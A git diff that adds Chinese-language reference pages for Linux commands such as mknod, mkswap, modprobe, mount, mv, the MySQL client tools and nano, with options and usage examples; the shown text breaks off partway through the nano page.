+把NFS服务器上的目录挂载到本地/mnt/nfs/的目录: + +``` +mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/ +``` + +把已挂载的文件复制到本地: + +``` +cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/& +``` + +查找boot.cat文件并删除掉: + +``` +find rhel4.0/ -name boot.cat | xargs rm +``` + +查找TRANS.TBL文件并删除掉: + +``` +find rhel4.0/ -name TRANS.TBL -exec rm {} \; +``` + +复制本地的所需文件到指定目录: + +``` +cp /usr/share/comps/i386/.discinfo rhel4.0/ +``` + +把指定目录下的所有文件制作成ISO文件: + +``` +mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/ +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mknod.md b/LearnShell/LinuxCommands/mknod.md new file mode 100644 index 0000000..6c8cc4b --- /dev/null +++ b/LearnShell/LinuxCommands/mknod.md @@ -0,0 +1,51 @@ +mknod +=== + +创建字符设备文件和块设备文件 + +## 补充说明 + +**mknod命令** 用于创建Linux中的字符设备文件和块设备文件。 + +### 语法 + +``` +mknod(选项)(参数) +``` + +### 选项 + +``` +-Z:设置安全的上下文; +-m:设置权限模式; +-help:显示帮助信息; +--version:显示版本信息。 +``` + +### 参数 + +* 文件名:要创建的设备文件名; +* 类型:指定要创建的设备文件的类型; +* 主设备号:指定设备文件的主设备号; +* 次设备号:指定设备文件的次设备号。 + +### 实例 + +``` +ls -la /dev/ttyUSB* +crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0 +mknod /dev/ttyUSB32 c 188 32 +``` + +### 扩展知识 + +Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。 + +为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。 + +Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。 + +打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mkswap.md b/LearnShell/LinuxCommands/mkswap.md new file mode 100644 index 0000000..87cc10d --- /dev/null +++ b/LearnShell/LinuxCommands/mkswap.md @@ -0,0 +1,114 @@ +mkswap +=== + +建立和设置SWAP交换分区 + +## 补充说明 + +**mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。 + +### 语法 + +``` +mkswap(选项)(参数) +``` + +### 选项 + +``` +-c:建立交换区前,先检查是否有损坏的区块; +-f:在SPARC电脑上建立交换区时,要加上此参数; +-v0:建立旧式交换区,此为预设值; +-v1:建立新式交换区。 +``` + +### 参数 + +设备:指定交换空间对应的设备文件或者交换文件。 + +### 实例 + + **查看系统swap space大小:** + +``` +free -m +total used free shared buffers cached +Mem: 377 180 197 0 19 110 +-/+ buffers/cache: 50 327 +Swap: 572 0 572 +``` + + **查看当前的swap空间(file(s)/partition(s)):** + +``` +swapon -s + +等价于 + +cat /proc/swaps +``` + + **添加交换空间** + +添加一个 **交换分区** 或添加一个 **交换文件** 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件。 + +添加一个交换分区,步骤如下: + +使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区: + +``` +mkswap /dev/sdb2 +``` + +启用交换分区: + +``` +swapon /dev/sdb2 +``` + +写入`/etc/fstab`,以便在引导时启用: + +``` +/dev/sdb2 swap swap defaults 0 0 +``` + +添加一个交换文件,步骤如下: + +创建大小为512M的交换文件: + +``` +dd if=/dev/zero of=/swapfile1 bs=1024 count=524288 +``` + +使用mkswap命令来设置交换文件: + +``` +mkswap /swapfile1 +``` + +启用交换分区: + +``` +swapon /swapfile1 +``` + +写入`/etc/fstab`,以便在引导时启用: + +``` +/swapfile1 swap swap defaults 0 0 +``` + +新添了交换分区并启用它之后,请查看`cat /proc/swaps`或free命令的输出来确保交换分区已被启用了。 + + **删除交换空间:** + +禁用交换分区: + +``` +swapoff /dev/sdb2 +``` + +从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mktemp.md b/LearnShell/LinuxCommands/mktemp.md new file mode 100644 index 0000000..6e3ff77 --- /dev/null +++ b/LearnShell/LinuxCommands/mktemp.md @@ -0,0 +1,29 @@ +mktemp +=== + +创建临时文件供shell脚本使用 + +## 补充说明 + +**mktemp命令** 被用来创建临时文件供shell脚本使用。 + +### 语法 + +``` +mktemp(选项)(参数) +``` + +### 选项 + +``` +-q:执行时若发生错误,不会显示任何信息; +-u:暂存文件会在mktemp结束前先行删除; +-d:创建一个目录而非文件。 +``` + +### 参数 + +文件:指定创建的临时文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/modprobe.md b/LearnShell/LinuxCommands/modprobe.md new file mode 100644 index 0000000..02dfea6 --- /dev/null +++ b/LearnShell/LinuxCommands/modprobe.md @@ -0,0 +1,79 @@ +modprobe +=== + +自动处理可载入模块 + +## 补充说明 + +**modprobe命令** 用于智能地向内核中加载模块或者从内核中移除模块。 + +modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。 + +### 语法 + +``` +modprobe(选项)(参数) +``` + +### 选项 + +``` +-a或--all:载入全部的模块; +-c或--show-conf:显示所有模块的设置信息; +-d或--debug:使用排错模式; +-l或--list:显示可用的模块; +-r或--remove:模块闲置不用时,即自动卸载模块; +-t或--type:指定模块类型; +-v或--verbose:执行时显示详细的信息; +-V或--version:显示版本信息; +-help:显示帮助。 +``` + +### 参数 + +模块名:要加载或移除的模块名称。 + +### 实例 + + **查看modules的配置文件:** + +``` +modprobe -c +``` + +这里,可以查看modules的配置文件,比如模块的alias别名是什么等。会打印许多行信息,例如其中的一行会类似如下: + +``` +alias symbol:ip_conntrack_unregister_notifier ip_conntrack +``` + + **列出内核中所有已经或者未挂载的所有模块:** + +``` +modprobe -l +``` + +这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实`modprobe -l`读取的模块列表就位于/lib/modules/\`uname -r \`目录中;其中`uname -r`是内核的版本,例如输出结果的其中一行是: + +``` +/lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko +``` + + **挂载vfat模块:** + +``` +modprobe vfat +``` + +这里,使用格式`modprobe 模块名`来挂载一个模块。挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的,我们通过`modprobe -l`所看到的模块,都是带有`.ko`或`.o`后缀。 + + **移除已经加载的模块:** + +``` +modprobe -r 模块名 +``` + +这里,移除已加载的模块,和rmmod功能相同。 + + + diff --git a/LearnShell/LinuxCommands/more.md b/LearnShell/LinuxCommands/more.md new file mode 100644 index 0000000..bf6547d --- /dev/null +++ b/LearnShell/LinuxCommands/more.md @@ -0,0 +1,55 @@ +more +=== + +显示文件内容,每次显示一屏 + +## 补充说明 + +**more命令** 是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作。more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)。 + +该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答: + +* 按Space键:显示文本的下一屏内容。 +* 按Enier键:只显示文本的下一行内容。 +* 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。 +* 按H键:显示帮助屏,该屏上有相关的帮助信息。 +* 按B键:显示上一屏内容。 +* 按Q键:退出rnore命令。 + +### 语法 + +``` +more(语法)(参数) +``` + +### 选项 + +``` +-<数字>:指定每屏显示的行数; +-d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”; +-c:不进行滚屏操作。每次刷新这个屏幕; +-s:将多个空行压缩成一行显示; +-u:禁止下划线; ++<数字>:从指定数字的行开始显示。 +``` + +### 参数 + +文件:指定分页显示内容的文件。 + +### 实例 + +显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。 + +``` +more -dc file +``` + +显示文件file的内容,每10行显示一次,而且在显示之前先清屏。 + +``` +more -c -10 file +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mount.md b/LearnShell/LinuxCommands/mount.md new file mode 100644 index 0000000..616557c --- /dev/null +++ b/LearnShell/LinuxCommands/mount.md @@ -0,0 +1,72 @@ +mount +=== + +用于挂载Linux系统外的文件。 + +## 补充说明 + +**mount命令** Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。 + +### 语法 + +``` +mount [-hV] +mount -a [-fFnrsvw] [-t vfstype] +mount [-fnrsvw] [-o options [,...]] device | dir +mount [-fnrsvw] [-t vfstype] [-o options] device dir +``` + +### 选项 + +``` +-V:显示程序版本 +-h:显示辅助讯息 +-v:显示较讯息,通常和 -f 用来除错。 +-a:将 /etc/fstab 中定义的所有档案系统挂上。 +-F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。 +-f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。 +-n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。 +-s-r:等于 -o ro +-w:等于 -o rw +-L:将含有特定标签的硬盘分割挂上。 +-U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。 +-t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。 +-o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。 +-o sync:在同步模式下执行。 +-o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。 +-o auto、-o noauto:打开/关闭自动挂上模式。 +-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. +-o dev、-o nodev-o exec、-o noexec允许执行档被执行。 +-o suid、-o nosuid: +允许执行档在 root 权限下执行。 +-o user、-o nouser:使用者可以执行 mount/umount 的动作。 +-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。 +-o ro:用唯读模式挂上。 +-o rw:用可读写模式挂上。 +-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 +``` + +### 实例 + +将 `/dev/hda1` 挂在 `/mnt` 之下。 + +``` +#mount /dev/hda1 /mnt +``` + +将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 + +``` +#mount -o ro /dev/hda1 /mnt +``` + +将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 + +``` +#mount -o loop /tmp/image.iso /mnt/cdrom +``` + + + + + diff --git a/LearnShell/LinuxCommands/mpstat.md b/LearnShell/LinuxCommands/mpstat.md new file mode 100644 index 0000000..26e4456 --- /dev/null +++ b/LearnShell/LinuxCommands/mpstat.md @@ -0,0 +1,95 @@ +mpstat +=== + +显示各个可用CPU的状态 + +## 补充说明 + +**mpstat命令** 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 + +### 语法 + +``` +mpstat(选项)(参数) +``` + +### 选项 + +``` +-P:指定CPU编号。 +``` + +### 参数 + +* 间隔时间:每次报告的间隔时间(秒); +* 次数:显示报告的次数。 + +### 实例 + +当mpstat不带参数时,输出为从系统启动以来的平均值。 + +``` +mpstat +Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005 +09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s +09:38:48 AM all 23.28 0.00 1.75 0.50 0.00 0.00 74.47 1018.59 +``` + + **每2秒产生了2个处理器的统计数据报告:** + +下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。 + +``` +mpstat -P ALL 2 3 +Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 +09:34:20 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s +09:34:22 PM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 1001.49 +09:34:22 PM 0 0.00 0.00 0.50 0.00 0.00 0.00 0.00 99.50 1001.00 +09:34:22 PM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 0.00 +``` + + **比较带参数和不带参数的mpstat的结果:** + +在后台开一个2G的文件 + +``` +cat 1.img & +``` + +然后在另一个终端运行mpstat命令 + +``` +mpstat +Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 +10:17:31 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s +10:17:31 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.40 1004.57 +``` + +``` +mpstat +Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 +10:17:35 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s +10:17:35 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.39 1004.73 +``` + +``` +mpstat 3 10 +Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 +10:17:55 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s +10:17:58 PM all 13.12 0.00 20.93 0.00 1.83 9.80 0.00 54.32 2488.08 +10:18:01 PM all 10.82 0.00 19.30 0.83 1.83 9.32 0.00 57.90 2449.83 +10:18:04 PM all 10.95 0.00 20.40 0.17 1.99 8.62 0.00 57.88 2384.05 +10:18:07 PM all 10.47 0.00 18.11 0.00 1.50 8.47 0.00 61.46 2416.00 +10:18:10 PM all 11.81 0.00 22.63 0.00 1.83 11.98 0.00 51.75 2210.60 +10:18:13 PM all 6.31 0.00 10.80 0.00 1.00 5.32 0.00 76.58 1795.33 +10:18:19 PM all 1.75 0.00 3.16 0.75 0.25 1.25 0.00 92.85 1245.18 +10:18:22 PM all 11.94 0.00 19.07 0.00 1.99 8.29 0.00 58.71 2630.46 +10:18:25 PM all 11.65 0.00 19.30 0.50 2.00 9.15 0.00 57.40 2673.91 +10:18:28 PM all 11.44 0.00 21.06 0.33 1.99 10.61 0.00 54.56 2369.87 +Average: all 9.27 0.00 16.18 0.30 1.50 7.64 0.00 65.11 2173.54 +``` + +上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mtools.md b/LearnShell/LinuxCommands/mtools.md new file mode 100644 index 0000000..bcceab3 --- /dev/null +++ b/LearnShell/LinuxCommands/mtools.md @@ -0,0 +1,48 @@ +mtools +=== + +显示mtools支持的指令 + +## 补充说明 + +**mtools命令** 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。 + +### 语法 + +``` +mtools(选项) +``` + +### 选项 + +``` +-a:长文件名重复时自动更改目标文件的长文件名; +-A:短文件名重复但长文件名不同时自动更改目标文件的短文件名; +-o:长文件名重复时,将目标文件覆盖现有的文件; +-O:短文件名重复但长文件名不同时,将目标文件覆盖现有的文件; +-r:长文件名重复时,要求用户更改目标文件的长文件名; +-R:短文件名重复但长文件名不同时,要求用户更改目标文件的短文件名; +-s:长文件名重复时,则不处理该目标文件; +-S:短文件名重复但长文件名不同时,则不处理该目标文件; +-v:执行时显示详细的说明; +-V:显示版本信息。 +``` + +### 实例 + +使用mtools命令显示其支持的所有的指令,输入如下命令: + +``` +[root@localhost ~]# mtools #显示所有支持的指令名称 +Supported commands: +mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree +mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount +mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype +mwrite, mzip + +``` + +如上所示,其显示的所有命令均为mtools工具所支持的。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mv.md b/LearnShell/LinuxCommands/mv.md new file mode 100644 index 0000000..fb7b773 --- /dev/null +++ b/LearnShell/LinuxCommands/mv.md @@ -0,0 +1,116 @@ +mv +=== + +用来对文件或目录重新命名 + +## 补充说明 + +**mv命令** 用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。 + +mv命令可以用来将源文件移至一个目标文件中,或将一组文件移至一个目标目录中。源文件被移至目标文件有两种不同的结果: + +1. 如果目标文件是到某一目录文件的路径,源文件会被移到此目录下,且文件名不变。 +2. 如果目标文件不是目录文件,则源文件名(只能有一个)会变为此目标文件名,并覆盖己存在的同名文件。如果源文件和目标文件在同一个目录下,mv的作用就是改文件名。当目标文件是目录文件时,源文件或目录参数可以有多个,则所有的源文件都会被移至目标文件中。所有移到该目录下的文件都将保留以前的文件名。 + +注意事项:mv与cp的结果不同,mv好像文件“搬家”,文件个数并未增加。而cp对文件进行复制,文件个数增加了。 + +### 语法 + +``` +mv(选项)(参数) +``` + +### 选项 + +``` +--backup=<备份模式>:若需覆盖文件,则覆盖前先行备份; +-b:当文件存在时,覆盖前,为其创建一个备份; +-f:若目标文件或目录与现有的文件或目录重复,则直接覆盖现有的文件或目录; +-i:交互式操作,覆盖前先行询问用户,如果源文件与目标文件或目标目录中的文件同名,则询问用户是否覆盖目标文件。用户输入”y”,表示将覆盖目标文件;输入”n”,表示取消对源文件的移动。这样可以避免误将文件覆盖。 +--strip-trailing-slashes:删除源文件中的斜杠“/”; +-S<后缀>:为备份文件指定后缀,而不使用默认的后缀; +--target-directory=<目录>:指定源文件要移动到目标目录; +-u:当源文件比目标文件新或者目标文件不存在时,才执行移动操作。 +``` + +### 参数 + +* 源文件:源文件列表。 +* 目标文件:如果“目标文件”是文件名则在移动文件的同时,将其改名为“目标文件”;如果“目标文件”是目录名则将源文件移动到“目标文件”下。 + +### 实例 + +将目录`/usr/men`中的所有文件移到当前目录(用`.`表示)中: + +``` +mv /usr/men/* . +``` + +移动文件 + +``` +mv file_1.txt /home/office/ +``` + +移动多个文件 + +``` +mv file_2.txt file_3.txt file_4.txt /home/office/ +mv *.txt /home/office/ +``` + +移动目录 + +``` +mv directory_1/ /home/office/ +``` + +重命名文件或目录 + +```bash +mv file_1.txt file_2.txt # 将文件file_1.txt改名为file_2.txt +``` + +重命名目录 + +``` +mv directory_1/ directory_2/ +``` + +打印移动信息 + +```bash +mv -v *.txt /home/office +``` + +提示是否覆盖文件 + +``` +mv -i file_1.txt /home/office +``` + +源文件比目标文件新时才执行更新 + +``` +mv -uv *.txt /home/office +``` + +不要覆盖任何已存在的文件 + +``` +mv -vn *.txt /home/office +``` + +复制时创建备份 + +``` +mv -bv *.txt /home/office +``` + +无条件覆盖已经存在的文件 + +``` +mv -f *.txt /home/office +``` + + diff --git a/LearnShell/LinuxCommands/mysql.md b/LearnShell/LinuxCommands/mysql.md new file mode 100644 index 0000000..a96e47d --- /dev/null +++ b/LearnShell/LinuxCommands/mysql.md @@ -0,0 +1,30 @@ +mysql +=== + +MySQL服务器客户端工具 + +## 补充说明 + +**mysql命令** 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。 + +### 语法 + +``` +mysql(选项)(参数) +``` + +### 选项 + +``` +-h:MySQL服务器的ip地址或主机名; +-u:连接MySQL服务器的用户名; +-e:执行mysql内部命令; +-p:连接MySQL服务器的密码。 +``` + +### 参数 + +数据库:指定连接服务器后自动打开的数据库。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mysqladmin.md b/LearnShell/LinuxCommands/mysqladmin.md new file mode 100644 index 0000000..9eee746 --- /dev/null +++ b/LearnShell/LinuxCommands/mysqladmin.md @@ -0,0 +1,52 @@ +mysqladmin +=== + +MySQL服务器管理客户端 + +## 补充说明 + +**mysqladmin命令** 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。 + +### 语法 + +``` +mysqladmin(选项)(参数) +``` + +### 选项 + +``` +-h:MySQL服务器主机名或ip地址; +-u:连接MySQL服务器的用户名; +-p:连接MySQL服务器的密码; +--help:显示帮助信息。 +``` + +### 参数 + +管理命令:需要在MySQL服务器上执行的管理命令。 + + **mysqladmin支持下列命令:** + +``` +create databasename:创建一个新数据库; +drop databasename:删除一个数据库及其所有表; +extended-status:给出服务器的一个扩展状态消息; +flush-hosts:清空所有缓存的主机; +flush-logs:清空所有日志; +flush-tables:清空所有表; +flush-privileges:再次装载授权表(同reload); +kill id,id,...:杀死mysql线程; +password 新口令:将老密码改为新密码; +ping:检查mysqld是否活着; +processlist:显示服务其中活跃线程列表; +reload:重载授权表; +refresh:清空所有表并关闭和打开日志文件; +shutdown:关掉服务器; +status:给出服务器的简短状态消息; +variables:打印出可用变量; +version:得到服务器的版本信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mysqldump.md b/LearnShell/LinuxCommands/mysqldump.md new file mode 100644 index 0000000..4c517b7 --- /dev/null +++ b/LearnShell/LinuxCommands/mysqldump.md @@ -0,0 +1,62 @@ +mysqldump +=== + +MySQL数据库中备份工具 + +## 补充说明 + +**mysqldump命令** 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。 + +### 语法 + +``` +mysqldump(选项) +``` + +### 选项 + +``` +--add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句; +--add-locks:备份数据库表时锁定数据库表; +--all-databases:备份MySQL服务器上的所有数据库; +--comments:添加注释信息; +--compact:压缩模式,产生更少的输出; +--complete-insert:输出完成的插入语句; +--databases:指定要备份的数据库; +--default-character-set:指定默认字符集; +--force:当出现错误时仍然继续备份操作; +--host:指定要备份数据库的服务器; +--lock-tables:备份前,锁定所有数据库表; +--no-create-db:禁止生成创建数据库语句; +--no-create-info:禁止生成创建数据库库表语句; +--password:连接MySQL服务器的密码; +--port:MySQL服务器的端口号; +--user:连接MySQL服务器的用户名。 +``` + +### 实例 + + **导出整个数据库** + +``` +mysqldump -u 用户名 -p 数据库名 > 导出的文件名 +mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql +``` + + **导出一个表** + +``` +mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名 +mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql +``` + + **导出一个数据库结构** + +``` +mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql +``` + +`-d`没有数据,`--add-drop-tabl`e每个create语句之前增加一个`drop table` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mysqlimport.md b/LearnShell/LinuxCommands/mysqlimport.md new file mode 100644 index 0000000..7f9905e --- /dev/null +++ b/LearnShell/LinuxCommands/mysqlimport.md @@ -0,0 +1,32 @@ +mysqlimport +=== + +为MySQL服务器用命令行方式导入数据 + +## 补充说明 + +**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。 + +### 语法 + +``` +mysqlimport(选项)(参数) +``` + +### 选项 + +``` +-D:导入数据前清空表; +-f:出现错误时继续处理剩余的操作; +-h:MySQL服务器的ip地址或主机名; +-u:连接MySQL服务器的用户名; +-p:连接MySQL服务器的密码。 +``` + +### 参数 + +* 数据库名:指定要导入的数据库名称; +* 文本文件:包含特定格式文本文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/mysqlshow.md b/LearnShell/LinuxCommands/mysqlshow.md new file mode 100644 index 0000000..c064c50 --- /dev/null +++ b/LearnShell/LinuxCommands/mysqlshow.md @@ -0,0 +1,33 @@ +mysqlshow +=== + +显示MySQL中数据库相关信息 + +## 补充说明 + +**mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。 + +### 语法 + +``` +mysqlshow(选项)(参数) +``` + +### 选项 + +``` +-h:MySQL服务器的ip地址或主机名; +-u:连接MySQL服务器的用户名; +-p:连接MySQL服务器的密码; +--count:显示每个数据表中数据的行数; +-k:显示数据表的索引; +-t:显示数据表的类型; +-i:显示数据表的额外信息。 +``` + +### 参数 + +数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/named-checkzone.md b/LearnShell/LinuxCommands/named-checkzone.md new file mode 100644 index 0000000..da7fbae --- /dev/null +++ b/LearnShell/LinuxCommands/named-checkzone.md @@ -0,0 +1,43 @@ +named-checkzone +=== + +使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 + +## 补充说明 + +**named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。 + +### 语法 + +``` +named-checkzone [选项] [区域名] [区域文件名] +``` + +### 选项 + +``` +-q 安静模式 +-d 启用调试 +-c <类别> 指定区域的类别。如果没指定就使用IN +``` + +### 例子 + +对区域文件/var/named/192.168.0.rev进行有效性检查和转换。 + +```bash +[root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev +zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612 +OK +``` + +对区域文件/var/named/sh.com.hosts进行有效性检查和转换。 + +```bash +[root@localhost ~]# named-checkzone sh.com /var/named/sh.com.hosts +zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal) +zonesh.com/IN: loaded serial 1268360234 +OK +``` + + diff --git a/LearnShell/LinuxCommands/nano.md b/LearnShell/LinuxCommands/nano.md new file mode 100644 index 0000000..cbe58bb --- /dev/null +++ b/LearnShell/LinuxCommands/nano.md @@ -0,0 +1,101 @@ +nano +=== + +字符终端文本编辑器 + +## 补充说明 + +**nano** 是一个字符终端的文本编辑器,有点像DOS下的editor程序。它比vi/vim要简单得多,比较适合Linux初学者使用。某些Linux发行版的默认编辑器就是nano。 + +nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。 + +### 语法 + +``` +nano [选项] [[+行,列] 文件名]... +``` + +### 选项 + +``` + -h, -? --help 显示此信息 + +行,列 从所指列数与行数开始 + -A --smarthome 启用智能 HOME 键 + -B --backup 储存既有文件的备份 + -C <目录> --backupdir=<目录> 用以储存独一备份文件的目录 + -D --boldtext 用粗体替代颜色反转 + -E --tabstospaces 将已输入的制表符转换为空白 + -F --multibuffer 启用多重文件缓冲区功能 + -H --historylog 记录与读取搜索/替换的历史字符串 + -I --ignorercfiles 不要参考nanorc 文件 + -K --rebindkeypad 修正数字键区按键混淆问题 + -L --nonewlines 不要将换行加到文件末端 + -N --noconvert 不要从 DOS/Mac 格式转换 + -O --morespace 编辑时多使用一行 + -Q <字符串> --quotestr=<字符串> 引用代表字符串 + -R --restricted 限制模式 + -S --smooth 按行滚动而不是半屏 + -T <#列数> --tabsize=<#列数> 设定制表符宽度为 #列数 + -U --quickblank 状态行快速闪动 + -V --version 显示版本资讯并离开 + -W --wordbounds 更正确地侦测单字边界 + -Y <字符串> --syntax=<字符串> 用于加亮的语法定义 + -c --const 持续显示游标位置 + -d --rebinddelete 修正退格键/删除键混淆问题 + -i --autoindent 自动缩进新行 + -k --cut 从游标剪切至行尾 + -l --nofollow 不要依照符号连结,而是覆盖 + -m --mouse 启用鼠标功能 + -o <目录> --operatingdir=<目录> 设定操作目录 + -p --preserve 保留XON (^Q) 和XOFF (^S) 按键 + -q --quiet 沉默忽略启动问题, 比如rc 文件错误 + -r <#列数> --fill=<#列数> 设定折行宽度为 #列数 + -s <程序> --speller=<程序> 启用替代的拼写检查程序 + -t --tempfile 离开时自动储存,不要提示 + -u --undo 允许通用撤销[试验性特性] + -v --view 查看(只读)模式 + -w --nowrap 不要自动换行 + -x --nohelp 不要显示辅助区 + -z --suspend 启用暂停功能 + -$ --softwrap 启用软换行 + -a, -b, -e, + -f, -g, -j (忽略,为与pico 